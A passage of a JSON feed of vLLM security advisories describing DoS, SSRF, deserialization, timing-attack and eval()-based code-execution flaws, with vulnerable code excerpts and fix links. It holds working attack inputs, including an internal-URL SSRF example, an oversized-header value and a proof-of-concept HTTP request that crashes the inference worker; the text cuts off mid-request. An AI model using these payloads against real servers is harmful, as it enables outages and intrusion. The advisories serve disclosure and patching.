https://github.com/vllm-project/vllm/pull/28126","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-02T17:34:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm","https://nvd.nist.gov/vuln/detail/CVE-2025-66448","https://github.com/vllm-project/vllm/pull/28126","https://github.com/vllm-project/vllm/commit/ffb08379d8870a1a81ba82b72797f196838d0c86","https://github.com/advisories/GHSA-8fr4-5q9j-m8gm"],"source_kind":"github","identifiers":["GHSA-8fr4-5q9j-m8gm","CVE-2025-66448"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-02T18:00:07.585Z","updated_at":"2026-06-01T03:02:20.507Z","epss_percentage":0.00045,"epss_percentile":0.13745,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZnI0LTVxOWotbThnbc4ABPHk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04ZnI0LTVxOWotbThnbc4ABPHk","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003c 0.11.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZnI0LTVxOWotbThnbc4ABPHk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OWo0LWdyeGotajY0cM4ABOtt","url":"https://github.com/advisories/GHSA-69j4-grxj-j64p","title":"vLLM vulnerable to DoS via large Chat Completion or Tokenization requests with specially crafted `chat_template_kwargs`","description":"### Summary\nThe /v1/chat/completions and /tokenize endpoints allow a `chat_template_kwargs` request parameter that is used in the code before it is properly validated against the chat template. With the right `chat_template_kwargs` parameters, it is possible to block processing of the API server for long periods of time, delaying all other requests \n\n### Details\nIn serving_engine.py, the chat_template_kwargs are unpacked into kwargs passed to chat_utils.py `apply_hf_chat_template` with no validation on the keys or values in that chat_template_kwargs dict. This means they can be used to override optional parameters in the `apply_hf_chat_template` method, such as `tokenize`, changing its default from False to True.\n\nhttps://github.com/vllm-project/vllm/blob/2a6dc67eb520ddb9c4138d8b35ed6fe6226997fb/vllm/entrypoints/openai/serving_engine.py#L809-L814\n\nhttps://github.com/vllm-project/vllm/blob/2a6dc67eb520ddb9c4138d8b35ed6fe6226997fb/vllm/entrypoints/chat_utils.py#L1602-L1610\n\nBoth serving_chat.py and serving_tokenization.py call into this `_preprocess_chat` method of `serving_engine.py` and they both pass in `chat_template_kwargs`.\n\nSo, a `chat_template_kwargs` like `{\"tokenize\": True}` makes tokenization happen as part of applying the chat template, even though that is not expected. Tokenization is a blocking operation, and with sufficiently large input can block the API server's event loop, which blocks handling of all other requests until this tokenization is complete.\n\nThis optional `tokenize` parameter to `apply_hf_chat_template` does not appear to be used, so one option would be to just hard-code that to always be False instead of allowing it to be optionally overridden by callers. A better option may be to not pass `chat_template_kwargs` as unpacked kwargs but instead as a dict, and only unpack them after the logic in `apply_hf_chat_template` that resolves the kwargs against the chat template.\n\n### Impact\n\nAny authenticated user can cause a denial of service to a vLLM server with Chat Completion or Tokenize requests.\n\n### Fix\n\nhttps://github.com/vllm-project/vllm/pull/27205","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-20T21:26:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-69j4-grxj-j64p","https://github.com/vllm-project/vllm/pull/27205","https://github.com/vllm-project/vllm/commit/3ada34f9cb4d1af763fdfa3b481862a93eb6bd2b","https://github.com/vllm-project/vllm/blob/2a6dc67eb520ddb9c4138d8b35ed6fe6226997fb/vllm/entrypoints/chat_utils.py#L1602-L1610","https://github.com/vllm-project/vllm/blob/2a6dc67eb520ddb9c4138d8b35ed6fe6226997fb/vllm/entrypoints/openai/serving_engine.py#L809-L814","https://nvd.nist.gov/vuln/detail/CVE-2025-62426","https://github.com/advisories/GHSA-69j4-grxj-j64p"],"source_kind":"github","identifiers":["GHSA-69j4-grxj-j64p","CVE-2025-62426"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-20T22:00:08.327Z","updated_at":"2026-06-01T03:02:22.816Z","epss_percentage":0.00089,"epss_percentile":0.25144,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OWo0LWdyeGotajY0cM4ABOtt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OWo0LWdyeGotajY0cM4ABOtt","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003e= 0.5.5, \u003c 0.11.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OWo0LWdyeGotajY0cM4ABOtt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbXFmLXg2eDgtcDdxd84ABOts","url":"https://github.com/advisories/GHSA-pmqf-x6x8-p7qw","title":"vLLM vulnerable to DoS with incorrect shape of multimodal embedding inputs","description":"### Summary\n\nUsers can crash the vLLM engine serving multimodal models by passing multimodal embedding inputs with correct `ndim` but incorrect `shape` (e.g. hidden dimension is wrong), regardless of whether the model is intended to support such inputs (as defined in the Supported Models page).\n\nThe issue has existed ever since we added support for image embedding inputs, i.e. #6613 (released in v0.5.5)\n\n### Details\n\nUsing image embeddings as an example:\n\n- For models that support image embedding inputs, the engine crashes when scattering the embeddings to `inputs_embeds` (mismatched shape)\n- For models that don't support image embedding inputs, the engine crashes when validating the inputs inside `get_input_embeddings` (validation fails).\n\nThis happens because we only validate `ndim` of the tensor, but not the full shape, in input processor (via `MultiModalDataParser`).\n\n### Impact\n\n- Denial of service by crashing the engine\n\n### Mitigation\n\n- Use API key to limit access to trusted users.\n- Set `--limit-mm-per-prompt` to 0 for all non-text modalities to ban multimodal inputs, which includes multimodal embedding inputs. However, the model would then only accept text, defeating the purpose of using a multi-modal model.\n\n### Resolution\n\n- https://github.com/vllm-project/vllm/pull/27204","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-20T21:23:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-pmqf-x6x8-p7qw","https://github.com/vllm-project/vllm/pull/27204","https://github.com/vllm-project/vllm/pull/6613","https://github.com/vllm-project/vllm/commit/58fab50d82838d5014f4a14d991fdb9352c9c84b","https://nvd.nist.gov/vuln/detail/CVE-2025-62372","https://github.com/advisories/GHSA-pmqf-x6x8-p7qw"],"source_kind":"github","identifiers":["GHSA-pmqf-x6x8-p7qw","CVE-2025-62372"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-20T22:00:08.327Z","updated_at":"2026-06-01T03:02:22.817Z","epss_percentage":0.00089,"epss_percentile":0.25139,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXFmLXg2eDgtcDdxd84ABOts","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbXFmLXg2eDgtcDdxd84ABOts","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003e= 0.5.5, \u003c 0.11.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXFmLXg2eDgtcDdxd84ABOts/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcnc3LWhmNGYtODNwZs4ABOtr","url":"https://github.com/advisories/GHSA-mrw7-hf4f-83pf","title":"vLLM deserialization vulnerability leading to DoS and potential RCE","description":"### Summary\nA memory corruption vulnerability that leading to a crash (denial-of-service) and potentially remote code execution (RCE) exists in vLLM versions 0.10.2 and later, in the Completions API endpoint. When processing user-supplied prompt embeddings, the endpoint loads serialized tensors using torch.load() without sufficient validation.\n\nDue to a change introduced in PyTorch 2.8.0, sparse tensor integrity checks are disabled by default. As a result, maliciously crafted tensors can bypass internal bounds checks and trigger an out-of-bounds memory write during the call to to_dense(). This memory corruption can crash vLLM and potentially lead to code execution on the server hosting vLLM.\n\n### Details\nA vulnerability that can lead to RCE from the completions API endpoint exists in vllm, where due to missing checks when loading user-provided tensors, an out-of-bounds write can be triggered. This happens because the default behavior of `torch.load(tensor, weights_only=True)` since pytorch 2.8.0 is to not perform validity checks for sparse tensors, and this needs to be enabled explicitly using the [torch.sparse.check_sparse_tensor_invariants](https://docs.pytorch.org/docs/stable/generated/torch.sparse.check_sparse_tensor_invariants.html) context manager.\n\nThe vulnerability is in the following code in [vllm/entrypoints/renderer.py:148](https://github.com/vllm-project/vllm/blob/a332b84578cdc0706e040f6a765954c8a289904f/vllm/entrypoints/renderer.py#L148)\n\n```python\n def _load_and_validate_embed(embed: bytes) -\u003e EngineEmbedsPrompt:\n tensor = torch.load(\n io.BytesIO(pybase64.b64decode(embed, validate=True)),\n weights_only=True,\n map_location=torch.device(\"cpu\"),\n )\n assert isinstance(tensor, torch.Tensor) and tensor.dtype in (\n torch.float32,\n torch.bfloat16,\n torch.float16,\n )\n tensor = tensor.to_dense()\n```\n\nBecause of the missing checks, loading invalid prompt embedding tensors provided by the user can cause an out-of-bounds write in the call to `to_dense` .\n\n### Impact\nAll users with access to this API are able to exploit this vulnerability. Unsafe deserialization of untrusted input can be abused to achieve DoS and potentially remote code execution (RCE) in the vLLM server process. This impacts deployments running vLLM as a server or any instance that deserializes untrusted/model-provided payloads.\n\n## Fix\n\nhttps://github.com/vllm-project/vllm/pull/27204\n\n## Acknowledgements\n\nFinder: AXION Security Research Team (Omri Fainaro, Bary Levy): discovery and coordinated disclosure.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-11-20T20:59:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-mrw7-hf4f-83pf","https://github.com/vllm-project/vllm/pull/27204","https://github.com/vllm-project/vllm/commit/58fab50d82838d5014f4a14d991fdb9352c9c84b","https://nvd.nist.gov/vuln/detail/CVE-2025-62164","https://github.com/advisories/GHSA-mrw7-hf4f-83pf"],"source_kind":"github","identifiers":["GHSA-mrw7-hf4f-83pf","CVE-2025-62164"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-20T21:00:08.984Z","updated_at":"2026-06-01T03:02:22.818Z","epss_percentage":0.00191,"epss_percentile":0.40695,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnc3LWhmNGYtODNwZs4ABOtr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcnc3LWhmNGYtODNwZs4ABOtr","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003e= 0.10.2, \u003c 0.11.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnc3LWhmNGYtODNwZs4ABOtr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZjZjLTdmdzItcHBtNM4ABNF-","url":"https://github.com/advisories/GHSA-3f6c-7fw2-ppm4","title":"vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class","description":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the `MediaConnector` class within the vLLM project's multimodal feature set. The `load_from_url` and `load_from_url_async` methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.\n\nThis vulnerability is particularly critical in containerized environments like `llm-d`, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal `llm-d` management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.\n\n### Vulnerability Details\n\nThe core of the vulnerability lies in the `MediaConnector.load_from_url` method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).\n\nhttps://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113\n\nThe function directly processes URLs with `http`, `https`, and `file` schemes. An attacker can supply a URL pointing to an internal IP address or a `localhost` endpoint. The vLLM server will then initiate a connection to this internal resource.\n\n* **HTTP/HTTPS Scheme:** An attacker can craft a request like `{\"image_url\": \"http://127.0.0.1:8080/internal_api\"}`. The vLLM server will send a GET request to this internal endpoint.\n* **File Scheme:** The `_load_file_url` method attempts to restrict file access to a subdirectory defined by `--allowed-local-media-path`. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.\n\n### Impact in `llm-d` Environments\n\nThe risk is significantly amplified in orchestrated environments such as `llm-d`, where multiple pods communicate over an internal network.\n\n1. **Denial of Service (DoS):** An attacker could target internal management endpoints of other services within the `llm-d` cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.\n\n2. **Internal Network Reconnaissance:** Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like `http://10.0.0.X:PORT` and observing the server's response time or error messages.\n\n3. **Interaction with Internal Services:** Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.\n\nDelegating this security responsibility to an upper-level orchestrator like `llm-d` is problematic. **The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.**\n\n### Fix\n\nSee the `--allowed-media-domains` option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-07T22:14:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-3f6c-7fw2-ppm4","https://nvd.nist.gov/vuln/detail/CVE-2025-6242","https://github.com/vllm-project/vllm/commit/9d9a2b77f19f68262d5e469c4e82c0f6365ad72d","https://access.redhat.com/security/cve/CVE-2025-6242","https://bugzilla.redhat.com/show_bug.cgi?id=2373716","https://github.com/advisories/GHSA-3f6c-7fw2-ppm4"],"source_kind":"github","identifiers":["GHSA-3f6c-7fw2-ppm4","CVE-2025-6242"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-10-07T23:00:07.784Z","updated_at":"2026-06-01T06:02:40.157Z","epss_percentage":0.00052,"epss_percentile":0.16109,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjZjLTdmdzItcHBtNM4ABNF-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZjZjLTdmdzItcHBtNM4ABNF-","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.11.0","vulnerable_version_range":"\u003e= 0.5.0, \u003c 0.11.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjZjLTdmdzItcHBtNM4ABNF-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02ZnZxLTIzY3ctNTYyOM4ABNF8","url":"https://github.com/advisories/GHSA-6fvq-23cw-5628","title":"vLLM: Resource-Exhaustion (DoS) through Malicious Jinja Template in OpenAI-Compatible Server","description":"### Summary\n\nA resource-exhaustion (denial-of-service) vulnerability exists in multiple endpoints of the OpenAI-Compatible Server due to the ability to specify Jinja templates via the `chat_template` and `chat_template_kwargs` parameters. If an attacker can supply these parameters to the API, they can cause a service outage by exhausting CPU and/or memory resources.\n\n### Details\n\nWhen using an LLM as a chat model, the conversation history must be rendered into a text input for the model. In `hf/transformer`, this rendering is performed using a Jinja template. The OpenAI-Compatible Server launched by vllm serve exposes a `chat_template` parameter that lets users specify that template. In addition, the server accepts a `chat_template_kwargs` parameter to pass extra keyword arguments to the rendering function.\n\nBecause Jinja templates support programming-language-like constructs (loops, nested iterations, etc.), a crafted template can consume extremely large amounts of CPU and memory and thereby trigger a denial-of-service condition.\n\nImportantly, simply forbidding the `chat_template` parameter does not fully mitigate the issue. The implementation constructs a dictionary of keyword arguments for `apply_hf_chat_template` and then updates that dictionary with the user-supplied `chat_template_kwargs` via `dict.update`. Since `dict.update` can overwrite existing keys, an attacker can place a `chat_template` key inside `chat_template_kwargs` to replace the template that will be used by `apply_hf_chat_template`.\n\n\n```python\n# vllm/entrypoints/openai/serving_engine.py#L794-L816\n_chat_template_kwargs: dict[str, Any] = dict(\n chat_template=chat_template,\n add_generation_prompt=add_generation_prompt,\n continue_final_message=continue_final_message,\n tools=tool_dicts,\n documents=documents,\n)\n_chat_template_kwargs.update(chat_template_kwargs or {})\n\nrequest_prompt: Union[str, list[int]]\nif isinstance(tokenizer, MistralTokenizer):\n ...\nelse:\n request_prompt = apply_hf_chat_template(\n tokenizer=tokenizer,\n conversation=conversation,\n model_config=model_config,\n **_chat_template_kwargs,\n )\n```\n\n### Impact\n\nIf an OpenAI-Compatible Server exposes endpoints that accept `chat_template` or `chat_template_kwargs` from untrusted clients, an attacker can submit a malicious Jinja template (directly or by overriding `chat_template` inside `chat_template_kwargs`) that consumes excessive CPU and/or memory. This can result in a resource-exhaustion denial-of-service that renders the server unresponsive to legitimate requests.\n\n### Fixes\n\n* https://github.com/vllm-project/vllm/pull/25794","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-10-07T21:35:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-6fvq-23cw-5628","https://github.com/vllm-project/vllm/pull/25794","https://github.com/vllm-project/vllm/commit/7977e5027c2250a4abc1f474c5619c40b4e5682f","https://github.com/advisories/GHSA-6fvq-23cw-5628"],"source_kind":"github","identifiers":["GHSA-6fvq-23cw-5628","CVE-2025-61620"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-10-07T22:00:06.880Z","updated_at":"2026-06-01T06:02:40.158Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZnZxLTIzY3ctNTYyOM4ABNF8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02ZnZxLTIzY3ctNTYyOM4ABNF8","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.11.0","vulnerable_version_range":"\u003e= 0.5.1, \u003c 0.11.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZnZxLTIzY3ctNTYyOM4ABNF8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cjloLWc3MngtbXdobc4ABNDR","url":"https://github.com/advisories/GHSA-wr9h-g72x-mwhm","title":"vLLM is vulnerable to timing attack at bearer auth","description":"### Summary\nThe API key support in vLLM performed validation using a method that was vulnerable to a timing attack. This could potentially allow an attacker to discover a valid API key using an approach more efficient than brute force.\n\n### Details\nhttps://github.com/vllm-project/vllm/blob/4b946d693e0af15740e9ca9c0e059d5f333b1083/vllm/entrypoints/openai/api_server.py#L1270-L1274\n\nAPI key validation used a string comparison that will take longer the more characters the provided API key gets correct. Data analysis across many attempts can allow an attacker to determine when it finds the next correct character in the key sequence.\n \n### Impact\nDeployments relying on vLLM's built-in API key validation are vulnerable to authentication bypass using this technique.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-07T17:24:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-wr9h-g72x-mwhm","https://nvd.nist.gov/vuln/detail/CVE-2025-59425","https://github.com/vllm-project/vllm/commit/ee10d7e6ff5875386c7f136ce8b5f525c8fcef48","https://github.com/vllm-project/vllm/blob/4b946d693e0af15740e9ca9c0e059d5f333b1083/vllm/entrypoints/openai/api_server.py#L1270-L1274","https://github.com/vllm-project/vllm/releases/tag/v0.11.0","https://github.com/advisories/GHSA-wr9h-g72x-mwhm"],"source_kind":"github","identifiers":["GHSA-wr9h-g72x-mwhm","CVE-2025-59425"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-10-07T18:00:12.263Z","updated_at":"2026-06-01T06:02:40.160Z","epss_percentage":0.00298,"epss_percentile":0.53321,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cjloLWc3MngtbXdobc4ABNDR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cjloLWc3MngtbXdobc4ABNDR","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.11.0","vulnerable_version_range":"\u003c 0.11.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cjloLWc3MngtbXdobc4ABNDR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03OWo2LWcybTMtamdmd84ABLTx","url":"https://github.com/advisories/GHSA-79j6-g2m3-jgfw","title":"vLLM has remote code execution vulnerability in the tool call parser for Qwen3-Coder","description":"### Summary\nAn unsafe deserialization vulnerability allows any authenticated user to execute arbitrary code on the server if they are able to get the model to pass the code as an argument to a tool call.\n\n### Details\n vLLM's [Qwen3 Coder tool parser](https://github.com/vllm-project/vllm/blob/main/vllm/entrypoints/openai/tool_parsers/qwen3coder_tool_parser.py) contains a code execution path that uses Python's `eval()` function to parse tool call parameters. This occurs during the parameter conversion process when the parser attempts to handle unknown data types.\n\nThis code path is reached when:\n1. Tool calling is enabled (`--enable-auto-tool-choice`)\n2. The qwen3_coder parser is specified (`--tool-call-parser qwen3_coder`)\n3. The parameter type is not explicitly defined or recognized\n\n### Impact\nRemote Code Execution via Python's `eval()` function.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-08-21T14:46:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-79j6-g2m3-jgfw","https://github.com/vllm-project/vllm/pull/21396","https://github.com/vllm-project/vllm/commit/4594fc3b281713bd3d7634405b4a1393af40d294","https://github.com/advisories/GHSA-79j6-g2m3-jgfw"],"source_kind":"github","identifiers":["GHSA-79j6-g2m3-jgfw","CVE-2025-9141"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-08-21T15:11:20.971Z","updated_at":"2026-06-01T06:02:54.487Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OWo2LWcybTMtamdmd84ABLTx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OWo2LWcybTMtamdmd84ABLTx","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.10.1.1","vulnerable_version_range":"\u003e= 0.10.0, \u003c 0.10.1.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OWo2LWcybTMtamdmd84ABLTx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yeGM0LTN3NnItNHY0N84ABLTs","url":"https://github.com/advisories/GHSA-rxc4-3w6r-4v47","title":"vllm API endpoints vulnerable to Denial of Service Attacks","description":"### Summary\nA Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.\n\n### Details\nThe vulnerability leverages the abuse of HTTP headers. By setting a header such as `X-Forwarded-For` to a very large value like `(\"A\" * 5_800_000_000)`, the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nType of vulnerability: Denial of Service (DoS)\n\n### Resolution\nUpgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-08-21T14:24:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-rxc4-3w6r-4v47","https://github.com/vllm-project/vllm/pull/23267","https://github.com/vllm-project/vllm/commit/d8b736f913a59117803d6701521d2e4861701944","https://nvd.nist.gov/vuln/detail/CVE-2025-48956","https://github.com/advisories/GHSA-rxc4-3w6r-4v47"],"source_kind":"github","identifiers":["GHSA-rxc4-3w6r-4v47","CVE-2025-48956"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-08-21T15:12:00.819Z","updated_at":"2026-06-01T06:02:54.489Z","epss_percentage":0.00306,"epss_percentile":0.53836,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yeGM0LTN3NnItNHY0N84ABLTs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yeGM0LTN3NnItNHY0N84ABLTs","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.10.1.1","vulnerable_version_range":"\u003e= 0.1.0, \u003c 0.10.1.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yeGM0LTN3NnItNHY0N84ABLTs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cnEzLXI4NzktN202Nc4ABIcm","url":"https://github.com/advisories/GHSA-vrq3-r879-7m65","title":"vLLM Tool Schema allows DoS via Malformed pattern and type Fields","description":"### Summary\nThe vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the \"pattern\" and \"type\" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. \n\n### Details\nThe \"type\" field is expected to be one of: \"string\", \"number\", \"object\", \"boolean\", \"array\", or \"null\". Supplying any other value will cause the worker to crash with the following error:\n\nRuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type \"something_or_nothing\"\n\nThe \"pattern\" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.\n\nFor example, the following inputs will crash the worker:\n\nUnclosed {, [, or (\n\nClosed:{} and []\n\nHere are some of runtime errors on the crash depending on what gets injected:\n\nRuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.\nRuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.\nRuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.\n\n### PoC\nHere is the POST request using the type field to crash the worker. Note the type field is set to \"something\" rather than the expected types it is looking for:\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 579\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n \"model\": \"mistral-nemo-instruct\",\n \"messages\": [{ \"role\": \"user\", \"content\": \"crash via type\" }],\n \"tools\": [\n {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash01\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"a\": {\n \"type\": \"something\"\n }\n }\n }\n }\n }\n ],\n \"tool_choice\": {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash01\",\n \"arguments\": { \"a\": \"test\" }\n }\n },\n \"stream\": false,\n \"max_tokens\": 1\n}\n\nHere is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.\n\nPOST /v1/chat/completions HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 